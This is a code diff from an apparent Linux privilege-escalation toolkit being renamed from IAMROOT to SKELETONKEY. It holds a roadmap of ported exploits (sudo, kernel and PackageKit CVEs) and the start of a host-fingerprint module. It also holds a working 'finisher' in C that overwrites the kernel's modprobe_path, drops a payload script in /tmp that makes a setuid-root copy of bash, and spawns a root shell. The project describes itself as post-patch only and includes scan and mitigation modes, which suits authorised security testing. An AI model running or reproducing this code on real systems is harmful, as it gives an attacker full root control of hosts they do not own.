cache. Bridged from existing DIRTYFAIL `mitigate_apply()`.
|
cache. Bridged from existing DIRTYFAIL `mitigate_apply()`.
|
||||||
- [x] copy_fail_family: `iamroot --cleanup <name>` routes by visible
|
- [x] copy_fail_family: `skeletonkey --cleanup <name>` routes by visible
|
||||||
state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists →
|
state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists →
|
||||||
`mitigate_revert()`; else evict /etc/passwd page cache. Heuristic
|
`mitigate_revert()`; else evict /etc/passwd page cache. Heuristic
|
||||||
sufficient for common usage patterns.
|
sufficient for common usage patterns.
|
||||||
- [x] dirty_pipe: `iamroot --cleanup dirty_pipe` evicts /etc/passwd
|
- [x] dirty_pipe: `skeletonkey --cleanup dirty_pipe` evicts /etc/passwd
|
||||||
(already landed in Phase 2 complete).
|
(already landed in Phase 2 complete).
|
||||||
- [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel";
|
- [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel";
|
||||||
no automated mitigation possible. Document and skip.
|
no automated mitigation possible. Document and skip.
|
||||||
@@ -164,33 +164,117 @@ Backfill of historical and recent LPEs as time allows.
|
|||||||
(hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
|
(hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
|
||||||
msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
|
msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
|
||||||
|
|
||||||
|
**Landed since v0.1.0 (in the 28-module verified corpus):**
|
||||||
|
|
||||||
|
- [x] **CVE-2021-3156** — sudo Baron Samedit: 🟡 PRIMITIVE
|
||||||
|
(`sudoedit -s` heap overflow; heap-tuned, may crash sudo).
|
||||||
|
- [x] **CVE-2021-33909** — Sequoia: 🟡 PRIMITIVE (`seq_file` size_t
|
||||||
|
overflow → kernel stack OOB; trigger + witness, no cred chain).
|
||||||
|
- [x] **CVE-2023-22809** — sudoedit EDITOR/VISUAL argv escape: 🟢 FULL
|
||||||
|
structural argv-injection (no kernel state, no offsets).
|
||||||
|
- [x] **CVE-2023-2008** — vmwgfx DRM bo size-validation OOB: 🟡
|
||||||
|
PRIMITIVE (kmalloc-512 OOB + slab witness, no cred chain).
|
||||||
|
|
||||||
|
**Landed (ported from public PoC, pending VM verification — NOT part
|
||||||
|
of the 28-module verified corpus):**
|
||||||
|
|
||||||
|
- [x] **CVE-2026-46300** — Fragnesia: 🟡 XFRM ESP-in-TCP page-cache
|
||||||
|
write. Ported from the V12 PoC; the old `_stubs/fragnesia_TBD`
|
||||||
|
stub is retired. The stub's open question ("is the
|
||||||
|
unprivileged-userns-netns scenario in scope?") is resolved —
|
||||||
|
the module ships and reports `PRECOND_FAIL` when the userns gate
|
||||||
|
is closed.
|
||||||
|
- [x] **CVE-2026-31635** — DirtyDecrypt: 🟡 rxgk missing-COW in-place
|
||||||
|
decrypt page-cache write. Ported from the V12 PoC.
|
||||||
|
- [x] **CVE-2026-41651** — Pack2TheRoot: 🟡 PackageKit `InstallFiles`
|
||||||
|
TOCTOU. Ported from the public Vozec PoC; original disclosure by
|
||||||
|
Deutsche Telekom security. Userspace D-Bus LPE with high-
|
||||||
|
confidence `detect()` — reads PackageKit's version directly over
|
||||||
|
D-Bus and compares against the pinned fix release 1.3.5 (commit
|
||||||
|
`76cfb675`). Debian-family only (PoC's built-in `.deb` builder).
|
||||||
|
Adds an optional GLib/GIO build dependency, autodetected via
|
||||||
|
`pkg-config gio-2.0`; stub-compiles if absent.
|
||||||
|
- [ ] **Verify all three (dirtydecrypt / fragnesia / pack2theroot)
|
||||||
|
on a vulnerable target**, pin remaining CVE fix commits, add
|
||||||
|
version-range tables, and promote 🟡 → 🟢. `--auto` auto-enables
|
||||||
|
`--active` so the probes give definitive verdicts; each
|
||||||
|
`detect()` runs in a fork-isolated child so one bad probe
|
||||||
|
cannot tear down the scan.
|
||||||
|
|
||||||
|
**--auto accuracy work (landed 2026-05-22):**
|
||||||
|
|
||||||
|
- [x] `--auto` auto-enables `--active`: per-module sentinel probes
|
||||||
|
run in `/tmp` / fork-isolated namespaces, so version-only
|
||||||
|
checks can no longer be fooled by silent distro backports.
|
||||||
|
- [x] Per-module verdict table at scan time (VULNERABLE / patched /
|
||||||
|
precondition / indeterminate) instead of only printing the
|
||||||
|
`VULNERABLE` rows.
|
||||||
|
- [x] Scan-end summary line counting each verdict class.
|
||||||
|
- [x] Distro fingerprint (`ID` + `VERSION_ID` from `/etc/os-release`)
|
||||||
|
printed in the `--auto` banner alongside kernel + arch.
|
||||||
|
- [x] Fork-isolated `detect()` calls — a SIGILL/SIGSEGV in any one
|
||||||
|
module's probe is contained and the scan continues. Surfaced
|
||||||
|
while testing entrybleed's `prefetchnta` sweep under emulated
|
||||||
|
CPUs: exactly the failure mode the isolation now handles.
|
||||||
|
- [x] `--dry-run` flag: previews the picked exploit (or single-module
|
||||||
|
operation) without firing. Works with `--auto`, `--exploit`,
|
||||||
|
`--mitigate`, `--cleanup`. `--auto --dry-run` does NOT require
|
||||||
|
`--i-know` (nothing fires) so operators can inspect the host's
|
||||||
|
attack surface without arming. Bare `--auto` still gates on
|
||||||
|
`--i-know` and now points to `--dry-run` in the refusal message.
|
||||||
|
- [x] Version-pinned `detect()` for the 3 ported modules — Debian
|
||||||
|
tracker provided the fix commits: `dirtydecrypt` against mainline
|
||||||
|
`a2567217` (Linux 7.0); `fragnesia` against 7.0.9; `pack2theroot`
|
||||||
|
against PackageKit 1.3.5. The `kernel_range` model now drives
|
||||||
|
their verdicts; `--active` confirms empirically on top.
|
||||||
|
- [x] **`core/host` host-fingerprint refactor.** A single
|
||||||
|
`struct skeletonkey_host` is populated once at startup and
|
||||||
|
handed to every module via `ctx->host`: kernel version + arch
|
||||||
|
+ distro id/version + capability gates (unprivileged_userns,
|
||||||
|
AppArmor restriction, BPF disabled, KPTI, lockdown, SELinux,
|
||||||
|
Yama ptrace) + service presence (systemd, system D-Bus). The
|
||||||
|
`--auto` / `--scan` banner now prints the fingerprint up front
|
||||||
|
so operators see at a glance which gates are open. 4 modules
|
||||||
|
migrated to consume the fingerprint (dirtydecrypt, fragnesia,
|
||||||
|
pack2theroot, overlayfs) — replacing per-detect `uname`s,
|
||||||
|
`/etc/os-release` parses, and userns fork-probes with O(1)
|
||||||
|
cached lookups. See `docs/ARCHITECTURE.md` for the pattern;
|
||||||
|
future modules can opt-in by including `core/host.h`.
|
||||||
|
- [ ] Migrate the remaining modules (cgroup_release_agent /
|
||||||
|
overlayfs_setuid / copy_fail_family bridge / others) to
|
||||||
|
consume `ctx->host` — incremental follow-up.
|
||||||
|
|
||||||
**Carry-overs:**
|
**Carry-overs:**
|
||||||
|
|
||||||
- [ ] **CVE-2023-2008** — vmwgfx OOB write
|
|
||||||
- [ ] Fragnesia (if it lands as a CVE)
|
|
||||||
- [ ] Anything we ourselves disclose — bundled AFTER upstream patch
|
- [ ] Anything we ourselves disclose — bundled AFTER upstream patch
|
||||||
ships (responsible-disclosure-first)
|
ships (responsible-disclosure-first)
|
||||||
|
|
||||||
## Phase 8 — Full-chain promotions (post v0.1.0)
|
## Phase 8 — Full-chain promotions (post v0.1.0)
|
||||||
|
|
||||||
The 7 🟡 PRIMITIVE modules each stop one or two steps short of full
|
The 14 🟡 PRIMITIVE modules each stop one or two steps short of full
|
||||||
cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
|
cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
|
||||||
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
|
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
|
||||||
None requires fresh research — each has a public reference exploit;
|
None requires fresh research — each has a public reference exploit;
|
||||||
the work is porting the per-kernel offset dance into a portable
|
the work is porting the per-kernel offset dance into a portable
|
||||||
shape compatible with IAMROOT's "no-fabricated-offsets" rule (most
|
shape compatible with SKELETONKEY's "no-fabricated-offsets" rule (most
|
||||||
likely as an env-var override table per distro+kernel, with offset
|
likely as an env-var override table per distro+kernel, with offset
|
||||||
auto-resolve via System.map / kallsyms when accessible).
|
auto-resolve via System.map / kallsyms when accessible).
|
||||||
|
|
||||||
Priority order: nf_tables (Notselwyn pipapo R/W), netfilter_xtcompat
|
Priority order: nf_tables (Notselwyn pipapo R/W), netfilter_xtcompat
|
||||||
(Andy Nguyen modprobe_path), af_packet (xairy sk_buff cred chase).
|
(Andy Nguyen modprobe_path), af_packet (xairy sk_buff cred chase).
|
||||||
The other four are lower priority — fuse_legacy and cls_route4 have
|
The remainder are lower priority — fuse_legacy and cls_route4 have
|
||||||
narrower distro reach; af_packet2 piggybacks on af_packet; stackrot's
|
narrower distro reach; af_packet2 piggybacks on af_packet; stackrot's
|
||||||
race window makes it inherently low-yield.
|
race window makes it inherently low-yield; the nft_* family and
|
||||||
|
vmwgfx need their per-kernel offset tables built out.
|
||||||
|
|
||||||
|
The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
|
||||||
|
**not** part of this Phase 8 promotion set — they need VM verification
|
||||||
|
and pinned fix commits first (tracked under Phase 7+ above) before any
|
||||||
|
full-chain work is meaningful.
|
||||||
|
|
||||||
## Non-goals
|
## Non-goals
|
||||||
|
|
||||||
- **No 0-day shipment.** Everything in IAMROOT is post-patch.
|
- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
|
||||||
- **No automated mass-targeting.** No host-list mode. No automatic
|
- **No automated mass-targeting.** No host-list mode. No automatic
|
||||||
pivoting.
|
pivoting.
|
||||||
- **No persistence beyond `--exploit-backdoor`'s
|
- **No persistence beyond `--exploit-backdoor`'s
|
||||||
|
|||||||
+25
-25
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — shared finisher helpers
|
* SKELETONKEY — shared finisher helpers
|
||||||
*
|
*
|
||||||
* See finisher.h for the pattern split (A: modprobe_path overwrite,
|
* See finisher.h for the pattern split (A: modprobe_path overwrite,
|
||||||
* B: current->cred->uid).
|
* B: current->cred->uid).
|
||||||
@@ -30,7 +30,7 @@ static int write_file(const char *path, const char *content, mode_t mode)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void iamroot_finisher_print_offset_help(const char *module_name)
|
void skeletonkey_finisher_print_offset_help(const char *module_name)
|
||||||
{
|
{
|
||||||
fprintf(stderr,
|
fprintf(stderr,
|
||||||
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
|
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
|
||||||
@@ -38,7 +38,7 @@ void iamroot_finisher_print_offset_help(const char *module_name)
|
|||||||
" To populate them on this host, choose ONE of:\n"
|
" To populate them on this host, choose ONE of:\n"
|
||||||
"\n"
|
"\n"
|
||||||
" 1) Environment override (one-shot, no host changes):\n"
|
" 1) Environment override (one-shot, no host changes):\n"
|
||||||
" IAMROOT_MODPROBE_PATH=0x... iamroot --exploit %s --i-know --full-chain\n"
|
" SKELETONKEY_MODPROBE_PATH=0x... skeletonkey --exploit %s --i-know --full-chain\n"
|
||||||
"\n"
|
"\n"
|
||||||
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
|
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
|
||||||
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
|
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
|
||||||
@@ -54,26 +54,26 @@ void iamroot_finisher_print_offset_help(const char *module_name)
|
|||||||
module_name, module_name);
|
module_name, module_name);
|
||||||
}
|
}
|
||||||
|
|
||||||
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
|
||||||
iamroot_arb_write_fn arb_write,
|
skeletonkey_arb_write_fn arb_write,
|
||||||
void *arb_ctx,
|
void *arb_ctx,
|
||||||
bool spawn_shell)
|
bool spawn_shell)
|
||||||
{
|
{
|
||||||
if (!iamroot_offsets_have_modprobe_path(off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(off)) {
|
||||||
iamroot_finisher_print_offset_help("module");
|
skeletonkey_finisher_print_offset_help("module");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (!arb_write) {
|
if (!arb_write) {
|
||||||
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
|
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Per-pid working paths so concurrent runs don't collide. */
|
/* Per-pid working paths so concurrent runs don't collide. */
|
||||||
pid_t pid = getpid();
|
pid_t pid = getpid();
|
||||||
char mp_path[64], trig_path[64], pwn_path[64];
|
char mp_path[64], trig_path[64], pwn_path[64];
|
||||||
snprintf(mp_path, sizeof mp_path, "/tmp/iamroot-mp-%d.sh", (int)pid);
|
snprintf(mp_path, sizeof mp_path, "/tmp/skeletonkey-mp-%d.sh", (int)pid);
|
||||||
snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid);
|
snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
|
||||||
snprintf(pwn_path, sizeof pwn_path, "/tmp/iamroot-pwn-%d", (int)pid);
|
snprintf(pwn_path, sizeof pwn_path, "/tmp/skeletonkey-pwn-%d", (int)pid);
|
||||||
|
|
||||||
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
|
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
|
||||||
* know it ran. Bash 4+ refuses to use its own setuid bit by
|
* know it ran. Bash 4+ refuses to use its own setuid bit by
|
||||||
@@ -81,14 +81,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
|||||||
char payload[1024];
|
char payload[1024];
|
||||||
snprintf(payload, sizeof payload,
|
snprintf(payload, sizeof payload,
|
||||||
"#!/bin/sh\n"
|
"#!/bin/sh\n"
|
||||||
"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n"
|
"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
|
||||||
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
|
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
|
||||||
"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n",
|
"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
|
||||||
pwn_path, pwn_path, pwn_path);
|
pwn_path, pwn_path, pwn_path);
|
||||||
|
|
||||||
if (write_file(mp_path, payload, 0755) < 0) {
|
if (write_file(mp_path, payload, 0755) < 0) {
|
||||||
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
|
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Unknown-format trigger: anything that fails the standard exec
|
/* Unknown-format trigger: anything that fails the standard exec
|
||||||
@@ -97,7 +97,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
|||||||
if (write_file(trig_path, "\x00", 0755) < 0) {
|
if (write_file(trig_path, "\x00", 0755) < 0) {
|
||||||
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
|
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
|
||||||
unlink(mp_path);
|
unlink(mp_path);
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Build the kernel-side write payload: a NUL-terminated path to
|
/* Build the kernel-side write payload: a NUL-terminated path to
|
||||||
@@ -114,7 +114,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
|||||||
fprintf(stderr, "[-] finisher: arb_write failed\n");
|
fprintf(stderr, "[-] finisher: arb_write failed\n");
|
||||||
unlink(mp_path);
|
unlink(mp_path);
|
||||||
unlink(trig_path);
|
unlink(trig_path);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Fire the trigger by exec'ing the unknown binary. fork() so the
|
/* Fire the trigger by exec'ing the unknown binary. fork() so the
|
||||||
@@ -129,7 +129,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
|||||||
waitpid(cpid, &st, 0);
|
waitpid(cpid, &st, 0);
|
||||||
} else {
|
} else {
|
||||||
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
|
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
|
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
|
||||||
@@ -146,14 +146,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
|||||||
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
|
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
|
||||||
unlink(mp_path);
|
unlink(mp_path);
|
||||||
unlink(trig_path);
|
unlink(trig_path);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
|
||||||
have_setuid:
|
have_setuid:
|
||||||
if (!spawn_shell) {
|
if (!spawn_shell) {
|
||||||
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
|
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
|
||||||
unlink(mp_path);
|
unlink(mp_path);
|
||||||
unlink(trig_path);
|
unlink(trig_path);
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
|
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
|
||||||
fflush(stderr);
|
fflush(stderr);
|
||||||
@@ -161,11 +161,11 @@ have_setuid:
|
|||||||
execve(pwn_path, argv, NULL);
|
execve(pwn_path, argv, NULL);
|
||||||
/* Only reached on execve failure. */
|
/* Only reached on execve failure. */
|
||||||
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
|
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
|
||||||
iamroot_arb_write_fn arb_write,
|
skeletonkey_arb_write_fn arb_write,
|
||||||
void *arb_ctx,
|
void *arb_ctx,
|
||||||
bool spawn_shell)
|
bool spawn_shell)
|
||||||
{
|
{
|
||||||
@@ -173,7 +173,7 @@ int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
|||||||
fprintf(stderr,
|
fprintf(stderr,
|
||||||
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
|
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
|
||||||
" the task list from init_task and find current). Modules with\n"
|
" the task list from init_task and find current). Modules with\n"
|
||||||
" only an arb-write should use iamroot_finisher_modprobe_path()\n"
|
" only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
|
||||||
" instead — same root capability, simpler trigger.\n");
|
" instead — same root capability, simpler trigger.\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|||||||
+19
-19
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — shared finisher helpers for full-chain root pops.
|
* SKELETONKEY — shared finisher helpers for full-chain root pops.
|
||||||
*
|
*
|
||||||
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
||||||
* write, slab UAF, etc.). The conversion to root is almost always one
|
* write, slab UAF, etc.). The conversion to root is almost always one
|
||||||
@@ -21,11 +21,11 @@
|
|||||||
* Pattern (B) needs a self-cred chase + multiple writes.
|
* Pattern (B) needs a self-cred chase + multiple writes.
|
||||||
*
|
*
|
||||||
* Modules provide their own arb-write primitive via the
|
* Modules provide their own arb-write primitive via the
|
||||||
* iamroot_arb_write_fn callback; this file wraps the rest.
|
* skeletonkey_arb_write_fn callback; this file wraps the rest.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef IAMROOT_FINISHER_H
|
#ifndef SKELETONKEY_FINISHER_H
|
||||||
#define IAMROOT_FINISHER_H
|
#define SKELETONKEY_FINISHER_H
|
||||||
|
|
||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <stddef.h>
|
#include <stddef.h>
|
||||||
@@ -35,7 +35,7 @@
|
|||||||
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
|
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
|
||||||
* `kaddr`. Module-specific implementation. Returns 0 on success,
|
* `kaddr`. Module-specific implementation. Returns 0 on success,
|
||||||
* negative on failure. `ctx` is opaque module state. */
|
* negative on failure. `ctx` is opaque module state. */
|
||||||
typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
|
typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
|
||||||
const void *buf, size_t len,
|
const void *buf, size_t len,
|
||||||
void *ctx);
|
void *ctx);
|
||||||
|
|
||||||
@@ -43,22 +43,22 @@ typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
|
|||||||
* groomed slab THEN call the trigger. The trigger is a separate fn
|
* groomed slab THEN call the trigger. The trigger is a separate fn
|
||||||
* because some modules need to re-spray before each write. NULL is
|
* because some modules need to re-spray before each write. NULL is
|
||||||
* acceptable if the arb-write is self-contained. */
|
* acceptable if the arb-write is self-contained. */
|
||||||
typedef int (*iamroot_fire_trigger_fn)(void *ctx);
|
typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
|
||||||
|
|
||||||
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
|
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
|
||||||
* already populated `off->modprobe_path`. Implementation:
|
* already populated `off->modprobe_path`. Implementation:
|
||||||
* 1. Write payload script to /tmp/iamroot-mp-<pid>
|
* 1. Write payload script to /tmp/skeletonkey-mp-<pid>
|
||||||
* 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-<pid>", 24)
|
* 2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
|
||||||
* 3. Write unknown-format file to /tmp/iamroot-trig-<pid>
|
* 3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
|
||||||
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
|
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
|
||||||
* → our payload runs as root → payload writes /tmp/iamroot-pwn
|
* → our payload runs as root → payload writes /tmp/skeletonkey-pwn
|
||||||
* and/or copies /bin/bash to /tmp with setuid root
|
* and/or copies /bin/bash to /tmp with setuid root
|
||||||
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
|
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
|
||||||
*
|
*
|
||||||
* Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified
|
* Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
|
||||||
* via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */
|
* via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
|
||||||
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
|
||||||
iamroot_arb_write_fn arb_write,
|
skeletonkey_arb_write_fn arb_write,
|
||||||
void *arb_ctx,
|
void *arb_ctx,
|
||||||
bool spawn_shell);
|
bool spawn_shell);
|
||||||
|
|
||||||
@@ -67,14 +67,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
|||||||
* 1. Walk task linked list from init_task to find self by pid
|
* 1. Walk task linked list from init_task to find self by pid
|
||||||
* (this requires arb-READ too — not supplied here; B-pattern
|
* (this requires arb-READ too — not supplied here; B-pattern
|
||||||
* modules need to provide their own variant)
|
* modules need to provide their own variant)
|
||||||
* For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a
|
* For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
|
||||||
* helpful error. */
|
* helpful error. */
|
||||||
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
|
||||||
iamroot_arb_write_fn arb_write,
|
skeletonkey_arb_write_fn arb_write,
|
||||||
void *arb_ctx,
|
void *arb_ctx,
|
||||||
bool spawn_shell);
|
bool spawn_shell);
|
||||||
|
|
||||||
/* Diagnostic: tell the operator how to populate offsets manually. */
|
/* Diagnostic: tell the operator how to populate offsets manually. */
|
||||||
void iamroot_finisher_print_offset_help(const char *module_name);
|
void skeletonkey_finisher_print_offset_help(const char *module_name);
|
||||||
|
|
||||||
#endif /* IAMROOT_FINISHER_H */
|
#endif /* SKELETONKEY_FINISHER_H */
|
||||||
|
|||||||
+345
@@ -0,0 +1,345 @@
|
|||||||
|
/*
|
||||||
|
* SKELETONKEY — host fingerprint implementation
|
||||||
|
*
|
||||||
|
* Lives behind a one-shot lazy-init: skeletonkey_host_get() probes on
|
||||||
|
* first call, stores into a file-static, and returns the same pointer
|
||||||
|
* forever after. Single-threaded (skeletonkey is single-threaded), so
|
||||||
|
* no synchronisation needed.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "host.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/utsname.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <pwd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
#include <sched.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static struct skeletonkey_host g_host;
|
||||||
|
static bool g_host_ready = false;
|
||||||
|
|
||||||
|
/* ── small parser helpers ─────────────────────────────────────────── */
|
||||||
|
|
||||||
|
/* Copy the value of a `KEY=VAL` line (stripping leading quotes and
|
||||||
|
* trailing quote / newline) into `dst`. Caller passes the start of the
|
||||||
|
* value (after `=`). Cap is the size of dst including NUL. */
|
||||||
|
static void parse_os_release_value(const char *s, char *dst, size_t cap)
|
||||||
|
{
|
||||||
|
const char *p = s;
|
||||||
|
if (*p == '"' || *p == '\'') p++;
|
||||||
|
size_t L = strcspn(p, "\"'\n");
|
||||||
|
if (L >= cap) L = cap - 1;
|
||||||
|
memcpy(dst, p, L);
|
||||||
|
dst[L] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool path_exists(const char *p)
|
||||||
|
{
|
||||||
|
struct stat st;
|
||||||
|
return stat(p, &st) == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
/* Sysctl/sys-fs readers — Linux-only consumers (populate_caps). */
|
||||||
|
static bool read_int_file(const char *path, int *out)
|
||||||
|
{
|
||||||
|
FILE *f = fopen(path, "r");
|
||||||
|
if (!f) return false;
|
||||||
|
int v;
|
||||||
|
int n = fscanf(f, "%d", &v);
|
||||||
|
fclose(f);
|
||||||
|
if (n != 1) return false;
|
||||||
|
*out = v;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool read_first_line(const char *path, char *dst, size_t cap)
|
||||||
|
{
|
||||||
|
FILE *f = fopen(path, "r");
|
||||||
|
if (!f) return false;
|
||||||
|
if (!fgets(dst, (int)cap, f)) { fclose(f); return false; }
|
||||||
|
fclose(f);
|
||||||
|
size_t n = strlen(dst);
|
||||||
|
while (n > 0 && (dst[n-1] == '\n' || dst[n-1] == '\r')) dst[--n] = '\0';
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* ── populators ───────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
static void populate_kernel(struct skeletonkey_host *h)
|
||||||
|
{
|
||||||
|
struct utsname u;
|
||||||
|
if (uname(&u) == 0) {
|
||||||
|
/* utsname.machine/nodename can be up to 65 bytes on glibc; the
|
||||||
|
* %.*s precision spec tells gcc the snprintf is bounded so it
|
||||||
|
* does not warn about possible truncation (we WANT truncation;
|
||||||
|
* the snprintf already caps). */
|
||||||
|
snprintf(h->arch, sizeof h->arch,
|
||||||
|
"%.*s", (int)sizeof(h->arch) - 1, u.machine);
|
||||||
|
